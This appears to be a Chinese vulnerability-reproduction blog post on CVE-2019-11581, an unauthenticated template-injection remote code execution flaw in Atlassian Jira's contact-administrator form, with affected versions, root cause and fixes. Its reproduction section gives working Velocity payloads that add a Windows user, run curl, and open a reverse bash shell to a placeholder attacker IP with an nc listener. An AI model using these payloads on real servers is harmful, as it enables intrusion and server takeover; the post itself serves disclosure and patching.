[漏洞复现]Jira存在未授权服务端模板注入远程代码执行

早过忘川 提交于 2019-12-04 15:10:48

0x01 漏洞描述

Jira是由Atlassian公司出品的一款项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
2019年7月12日根据安全情报得知Atlassian Jira Server和Jira Data Center存在服务端模板注入远程代码执行漏洞。成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data Center的服务器执行任意命令,从而获取服务器权限,严重危害网络资产

0x02 CVE编号

CVE-2019-11581

0x03 漏洞威胁等级

高危

0x04 影响范围

AtlassianJira 4.4.x
AtlassianJira 5.x.x
AtlassianJira 6.x.x
AtlassianJira 7.0.x
AtlassianJira 7.1.x
AtlassianJira 7.2.x
AtlassianJira 7.3.x
AtlassianJira 7.4.x
AtlassianJira 7.5.x
AtlassianJira 7.6.x < 7.6.14
AtlassianJira 7.7.x
AtlassianJira 7.8.x
AtlassianJira 7.9.x
AtlassianJira 7.10.x
AtlassianJira 7.11.x
AtlassianJira 7.12.x
AtlassianJira 7.13.x < 7.13.5
AtlassianJira 8.0.x < 8.0.3
AtlassianJira 8.1.x < 8.1.2
AtlassianJira 8.2.x < 8.2.3

0x05 漏洞简析

 
第一种,未授权代码执行利用条件:Jira已配置好SMTP服务器,且需开启“联系网站管理员表单”功能。(从WEB界面设计上看,实际上如果没配置SMTP服务器,无法开启此功能)
 
第二种利用场景前提是拿到Jira管理员的权限,利用条件较难满足,这里主要分析第一种情况。原因在于atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators 未对Subject(邮件主题)处进行过滤,用户传入的邮件主题被当作template(模板)指令执行。在任何一种情况下,成功利用此漏洞的攻击者都可在运行受影响版本的Jira Server或Jira Data Center的系统上执行任意命令。
 

0x06 搭建环境

 
这里是安装AtlassianJira 7.13.0

 

 

先登录管理员后台配置好联系管理员表单
管理员表单默认是关闭的,需要配置好STMP才能开启
 

0x07 漏洞复现

 
 
 
 
这里直接以未登录状态为例:
 
payload:$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user joecool joe@cool123 /add').waitFor()
大概需要等十几秒才能触发命令
 
linux下可执行:
目标Jira系统可执行的POC
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻击者IP/2333 0>&1').waitFor()
攻击者主机执行:nc  -lvvp 2333

0x8 漏洞修复方案:

 
1. 升级到8.4.0及以上版本。
 
2. 若无法及时升级 Jira,则可采取以下缓解措施
    (1)禁用“联系网站管理员”功能。设置=>系统=>编辑设置=>联系管理员表单处选择“关”,然后点击最下面的“更新”保存设置;
    (2)禁止对/secure/admin/SendBulkMail!default.jspa 的访问。
 

0x9 参考:

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!